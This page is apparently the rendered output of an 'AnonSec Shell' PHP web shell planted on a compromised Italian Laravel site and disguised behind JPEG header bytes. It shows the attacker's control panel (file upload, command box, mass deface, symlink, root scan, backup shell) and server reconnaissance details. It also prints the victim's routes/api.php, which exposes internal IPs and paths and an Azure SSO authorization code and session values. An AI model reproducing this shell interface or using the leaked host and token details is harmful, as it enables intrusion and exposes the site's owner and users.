JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.44.28   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_local/modis.angelopescatore.it/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_local/modis.angelopescatore.it/routes/api.php
<?php

use App\Http\Controllers\CategoriesController;
use App\Http\Controllers\CandidateStatusController;
use App\Http\Controllers\ControllerUser;
use App\Http\Controllers\CandidatesController;
use App\Http\Controllers\DossierController;
use App\Http\Controllers\PdfExporter;
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\JobTitleController;
use App\Http\Controllers\StatusController;
use App\Http\Controllers\IndustryController;

/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| is assigned the "api" middleware group. Enjoy building your API!
|
*/

//Login api -> middleware di sessione per mantenere il token di Azure Gucci
Route::middleware(['azuread'])->group(function (){
	Route::get('/login', 'App\Http\Controllers\AuthController@login');

	Route::get('/logincodesso', 'App\Http\Controllers\AuthController@loginExternalSSO');
	//questo login se non è mai stato eseguito ritorna la URL di Azure per fare il login con SSO
	//Quando la login su Microsoft è stata effettua questa ci riporta il browser su questa url
	// https://10.3.4.226:725/login?
	//code=0.AAAAA2rwLyQc9UCdO4VNk6rtfztgoFmL-Y5ImYKTg9AG8ddfAAA.AQABAAIAAAD--DLA3VO7QrddgJg7WevrH0xpqd1uVNX3VYRF3BdHZDotVqHBXMh1RQJa374VNhSrs7azp-muqmPVTLvyKMVowwhVx8j63BkZRe_rb8VWcTG9Oya1I6_sXptq78RRKmbSRDDLg8Rn5qE-yZubLUn51Q_n_-Nz-T1DOXATefr0T2CEKu4bSni29l2OubIeXbDoCy-PDLEUVVPZhfJb2jUxjWf8T_HqgKHdigdMDFRdcIp8eK1x-hEBTmeaSBGlpOYuN8SKmNsnqg-jQrhakgYzTMTwB73derHsro4VztdsGKEvoTehEM0iHZEyQCmXkEcwE2rz_bQ4qjW4UxET8RXioi3njvRje_M3C2BX0BhpAoFS0vP3yIcSg1T6bb95BUU6-Pd_dQTqhS52YqRfouiylj88VotEuuGlVWT0WTAkqLk7ZSiFXV8UzPnErlTtW_IcWeXzKPnGt29Z7-xPvj046kNFBCOhwCFnybwlUJIWnl7urMLlRNrr6gaypHqwK7Z8gedPr_UIzE6s6o0BpRTbQl-pogFA88xtcseIuGDs4D7TwGd0M7No0wEfTwHYkeBMoKVEsrx1AJnpc04c4TNFar3WQQ-X3ipJUa1PdBSMu6WwjwTCxgczs1qcKr7_adrKSVmyoPtzJmjHBSfM5Dqqu8h1XbaFwJE_dB1cDUt0J3-QhcytfQ-epV_eWnbIAuApA9XPskkZIp3X4bGe-N751PQF6CvKFOxnLzZqNVE-6HA8AJRQcrvvsmygyrvOPctWRstaAfTnkTzWgeo9C67ZIAA
	//&state=407b2133e7e34c51776512e7261a5ca9
	//&session_state=d6b5c171-a196-486a-8f21-df32b863f6d7#
});

//FOR ADMIN
Route::middleware(['auth:api'])->group(function (){
	//Schools
	Route::post('/school/{id_schools}','App\Http\Controllers\SchoolsController@update');
	Route::delete('/school/{id_schools}','App\Http\Controllers\SchoolsController@index');
	//MacroAreas
	Route::put('/macro-area', 'App\Http\Controllers\MacroAreaController@store');
	Route::delete('/macro-area/{id}', 'App\Http\Controllers\MacroAreaController@destroy');
	Route::post('/macro-area/{id}', 'App\Http\Controllers\MacroAreaController@update');
	//Languages
	Route::put('/language', 'App\Http\Controllers\LanguagesController@store');
	Route::post('/language/{name}', 'App\Http\Controllers\LanguagesController@update');
	Route::delete('/language/{name}', 'App\Http\Controllers\LanguagesController@destroy');


	//Skills
	Route::put("/skill",'App\Http\Controllers\SkillsController@store');
	Route::delete("/skill/{id_skill}",'App\Http\Controllers\SkillsController@destroy');
	Route::post("/skill/{id_skill}",'App\Http\Controllers\SkillsController@update');

	////Category of skills
	Route::put("/categorie",[CategoriesController::class, "store"]);	
	Route::delete("/categorie/{id}",[CategoriesController::class, "destroy"]);
	Route::post("/categorie/{id}",[CategoriesController::class, "update"]);

	
});

//BO
Route::get("/pdf/{id_user}",[PdfExporter::class,"getUserDossier"]);
Route::get("/word/{id}",[DossierController::class,"generateWordReport"]);

//LOGGED USER
Route::middleware(['auth:api'])->group(function (){

	//ESTERNAL ENTITY
	
	//Schools
	Route::get('/schools','App\Http\Controllers\SchoolsController@index');
	// Route::get('/school/{id_schools}','App\Http\Controllers\SchoolsController@show');
	Route::get('/school/{search_str}','App\Http\Controllers\SchoolsController@search');
	Route::get('/school/comune/{nome_comune}','App\Http\Controllers\SchoolsController@getSchoolByComune');

	//MacroAreas
	Route::get('/macro-areas', 'App\Http\Controllers\MacroAreaController@index');
	Route::get('/macro-area/{id}', 'App\Http\Controllers\MacroAreaController@show');

	// Mobilitazione options 
	Route::get('/mobilitazione-options', 'App\Http\Controllers\MobilitazioneOptionsController@index');

	//EducationOptions
	Route::get('/education-options', 'App\Http\Controllers\EducationOptionsController@index');
	Route::get('/education-level-options', 'App\Http\Controllers\EducationOptionsController@getAllEducLevelOptions');
	Route::get('/education-title-options', 'App\Http\Controllers\EducationOptionsController@getAllEducTitleOptions');
	
	//FormazioneIssuerOptions
	Route::get('/formazione-issuer-options', 'App\Http\Controllers\FormazioneOptionsController@index');

	//Allegati Category Options
	Route::get('/allegati-category-options', 'App\Http\Controllers\AllegatiOptionsController@index');

	// Colloquio Options 
	Route::get('/colloquio-interview-options', 'App\Http\Controllers\ColloquioOptionsController@index');
	Route::get('/colloquio-level-options', 'App\Http\Controllers\ColloquioOptionsController@getAllCollLevelOptions');
	
	//recruitment-options
	Route::get('/recruitment-options', 'App\Http\Controllers\RecruitmentOptionsController@index');

	//valutazione-options
	Route::get('/valutazione-options', 'App\Http\Controllers\ValutazioneOptionsController@index');
	
	// scheduler-options
	Route::get('/scheduler-options', 'App\Http\Controllers\SchedulerOptionsController@index');

	//Languages
	Route::get('/languages', 'App\Http\Controllers\LanguagesController@index');
	Route::get('/languages-level-options', 'App\Http\Controllers\LanguagesController@getAllLangLevelOptions');

	//DB MODIS SPA: comuni, provincie, regioni, nazioni, continenti
	Route::get('/comuni','App\Http\Controllers\ControllerComuni@index');
	Route::get('/comuni/regione/{id_regione}','App\Http\Controllers\ControllerComuni@getComuniByRegion');
	Route::get('/comuni/regioneByName/{name_regione}','App\Http\Controllers\ControllerComuni@getComuniByRegionName');
	Route::get('/province','App\Http\Controllers\ControllerProvince@index');
	Route::get('/regioni','App\Http\Controllers\ControllerRegioni@index');
	Route::get('/nazioni','App\Http\Controllers\ControllerNazioni@index');
	Route::get('/continenti','App\Http\Controllers\ControllerContinenti@index');
	Route::get('/statistics','App\Http\Controllers\StatisticsController@index');

	//Skills
	Route::get("/skills",'App\Http\Controllers\SkillsController@index');
	Route::get("/skill/{id_skill}",'App\Http\Controllers\SkillsController@show');
	Route::get("/skillsByCategory/{id_category}",'App\Http\Controllers\SkillsController@getSkillsByCategory');

	//Category of skills																				
	Route::get("/categories",[CategoriesController::class, "index"]);
	
	Route::get("/categorie/{id}",[CategoriesController::class, "show"]);
	Route::get("/categoriesByMacroarea/{id}",[CategoriesController::class, "getCategoriesByMacroarea"]);
	Route::get("/categories/parents",[CategoriesController::class, "getparents"]);
	Route::get("/categories/children",[CategoriesController::class, "getChildren"]);
	Route::get("/categories/byIdCategoryRoot/{id}",[CategoriesController::class, "getChildrenByIdCategoryRoot"]);
	
	Route::get("/jobtitles",[JobTitleController::class,"getJobTitles"]);
	Route::get("/status",[StatusController::class,"getAll"]);
	Route::get("/status/{id}",[StatusController::class,"findById"]);
	Route::get("/industry",[IndustryController::class,"getAll"]);


	//TODO: COMMENTI CANDIDATO
	Route::get("/candidates/{id_candidate}/comments",'App\Http\Controllers\CandidateCommentController@read');
	Route::put("/candidates/comments",'App\Http\Controllers\CandidateCommentController@store');
	// Route::post("/candidates/comments/{id_candidate_comment}",'App\Http\Controllers\CandidateCommentController@update');
	// Route::delete("/candidates/comments/{id_candidate_comment}",'App\Http\Controllers\CandidateCommentController@destroy');
	
	//Note
	Route::get("/note", 'App\Http\Controllers\NoteController@index');
	Route::put("/note", 'App\Http\Controllers\NoteController@store');
	Route::delete("/note/{id}", 'App\Http\Controllers\NoteController@destroy');
	Route::post("/note/{id}", 'App\Http\Controllers\NoteController@update');

	//Candidates
	Route::get("/candidates",[CandidatesController::class,"index"]);
	Route::get("/candidate/{id_candidate}",[CandidatesController::class,"show"]);
	Route::put("/candidate",[CandidatesController::class,"store"]);
	Route::post("/candidate/{id_candidate}",[CandidatesController::class,"update"]);
	Route::get("/candidate-findByCdf",[CandidatesController::class,"findCandiatesWithParameters"]);
	Route::delete("/candidate/{id_candidate}",[CandidatesController::class,"destroy"]);

	//Users -> DIPENDENTI
	Route::get('/users', [ControllerUser::class,"index"]);
	Route::get('/users/{id_user}', [ControllerUser::class,"show"]);
	Route::put('/users', [ControllerUser::class,"store"]);
	Route::post('/users/{id_user}', [ControllerUser::class,"update"]);
	Route::delete('/users/{id_user}', [ControllerUser::class,"destroy"]);
	Route::post("/updateImage/{id}",[ControllerUser::class,"updateImage"]);

	//Candidate Status for Kanban
	Route::get("/candidateStatus", 'App\Http\Controllers\CandidateStatusController@index');
	Route::get("/candidateStatus/{idCandidateStatus}",[CandidateStatusController::class,"getById"]);
	Route::put("/candidateStatus", 'App\Http\Controllers\CandidateStatusController@create');
	Route::put("/updateStatusCandidate/{id_candidate}",[CandidatesController::class,"updateStatus"]);

	
});

Anon7 - 2022
AnonSec Team